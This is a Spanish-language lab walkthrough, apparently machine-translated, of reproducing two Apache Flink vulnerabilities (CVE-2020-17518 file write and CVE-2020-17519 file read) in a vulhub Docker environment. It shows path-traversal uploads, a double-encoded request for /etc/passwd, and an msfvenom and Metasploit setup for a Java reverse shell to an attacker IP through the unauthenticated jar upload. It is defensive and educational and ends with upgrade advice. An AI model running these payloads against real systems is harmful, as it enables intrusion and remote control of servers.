Introducción
Apache Flink es una plataforma de procesamiento general de datos distribuida y eficiente. Es un marco de procesamiento de flujo de código abierto desarrollado por Apache Software Foundation. Su núcleo es un motor de flujo de datos de flujo distribuido escrito en Java y Scala (en resumen, es similar a Spark) . Flink tiene una API de monitoreo que se puede utilizar para consultar el estado y las estadísticas de "trabajos en ejecución" y "trabajos completados recientemente". La API de monitoreo se usa en el propio tablero de Flink, y también se puede usar para personalizar las herramientas de monitoreo. El monitoreo predeterminado está en el puerto 8081.
Este artículo incluye ejercicios prácticos sobre puntos de conocimiento: Incidentes de seguridad de red ("Incidentes de seguridad de red" este curso se compone de un entorno de prueba simulado por algunos incidentes de seguridad de impacto relativamente alto. Este curso no solo agregará incidentes de seguridad pasados, sino que también Siga los eventos actuales y agregue los últimos incidentes de seguridad. Informe a todos la primera vez y sepa cómo proteger su propia seguridad).
La API de monitoreo es una API REST-ful, que acepta solicitudes HTTP y responde a datos en formato JSON.
Una de las API de monitoreo es / jars / upload, que se usa para cargar un jar al clúster. El tarro debe enviarse como datos de varias partes. Asegúrese de que el encabezado "Content-Type" esté configurado como "application / x-java-archive", porque algunas bibliotecas http no agregan encabezados de forma predeterminada. Los archivos jar se pueden cargar a través de curl
'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" < http: // nombre de host: puerto / jars / upload> ;'
Visión general
Flink 1.5.1 introdujo la API REST, pero hay muchas fallas en su implementación, lo que resulta en vulnerabilidades de lectura de archivos arbitrarios (CVE-2020-17519) y escritura de archivos arbitrarios (CVE-2020-17518).
Los usuarios de CVE-2020-17518 *** pueden usar la API REST para modificar el encabezado HTTP y escribir el archivo cargado en cualquier ubicación del sistema de archivos local (accesible mediante el proceso Flink 1.5.1).
CVE-2020-17519 Apache Flink 1.11.0 permite al pirata informático leer cualquier archivo en el sistema de archivos local de JobManager (accesible por el proceso de JobManager) a través de la API REST del proceso de JobManager.
Versión de impacto
CVE-2020-17518
Apache: Apache Flink: 1.5.1 - 1.11.2
CVE-2020-17519
Apache: Apache Flink: 1.11.0, 1.11.1, 1.11.2
Configuración del entorno
Debido a que las versiones afectadas por las dos vulnerabilidades incluyen 1.11.2, esta versión se utiliza para reproducir
Aquí usamos el entorno vulhub para reproducir y crear un nuevo docker-compose.yml
versión 2'
servicios:
fuerte:
imagen: vulhub / flink: 1.11.2
comando: administrador de trabajos
puertos:
- "8081: 8081"
- "6123: 6123"
Use docker-compose para iniciar el entorno, ejecute el siguiente comando para descargar la imagen e iniciar un contenedor con esta imagen, los puertos asignados son 8081 y 6123
docker-compose up -d
accesohttp: // ip: 8081
Recurrencia de la vulnerabilidad
Cualquier carga de archivo (CVE-2020-17518) reproduce:
Apache Flink 1.5.1 introduce un controlador REST, que permite que el archivo cargado se escriba en cualquier ubicación del sistema de archivos local a través de un ENCABEZADO HTTP modificado maliciosamente.
accesohttp: // ip: 8081 , busque Add New of Submit New Job y cargue un paquete jar. Puede crear un archivo comprimido para el paquete jar en el escritorio, modificar el sufijo zip a jar y luego capturar el paquete
Los paquetes de solicitud capturados son los siguientes:
Envíe el paquete de solicitud al módulo repetidor para su modificación. Por ejemplo, aquí estoy creando un nuevo archivo en el directorio / tmp. ../ es para facilitar la ruta de cambio, porque no sabemos cuál es la ruta actual, por lo que podemos usar ../ para cambiar a Directorio raíz.
Verifique si el archivo se cargó correctamente
contenedor de vista de docker ps
Entrar en el contenedor
docker exec -it ID DE CONTENEDOR / bin / bash
Puede ver que el archivo se cargó correctamente.
flink en sí no está autenticado y admite la carga y ejecución de cualquier paquete jar, por lo que puede cargar el paquete jar getshell
Genera un caballo en formato jar
lhost es la ip de kali, lport es el puerto de kali que recibe el shell
msfvenom -p java / shell_reverse_tcp lhost = 192.168.74.142 lport = 1234 -f jar> /home/a.jar
Inicie msf para recibir shell
msfconsole
usar exploit / multi / handler
establecer carga útil java / shell_reverse_tcp
establecer LHOST 192.168.74.142
establecer LPORT 1234
explotar
Después de cargar el paquete jar, haga clic en el paquete cargado y luego en Enviar
Llegar al caparazón
La lectura arbitraria de archivos (CVE-2020-17519) reproduce:
Los cambios introducidos en Apache Flink 1.11.0 (y también publicados en 1.11.1 y 1.11.2) permiten al administrador leer cualquier archivo en el sistema de archivos local de JobManager a través de la interfaz REST del proceso de JobManager. El acceso está limitado a archivos accesibles mediante el proceso de JobManager.
Por ejemplo, leí el archivo passwd en / etc / here, y% 252f es la codificación de dos URL de /
Arreglo del fallo
La versión de seguridad se ha lanzado oficialmente, descargue y actualice a la versión de seguridad a tiempo.
< https://flink.apache.org/zh/downloads.html> ;
Link de referencia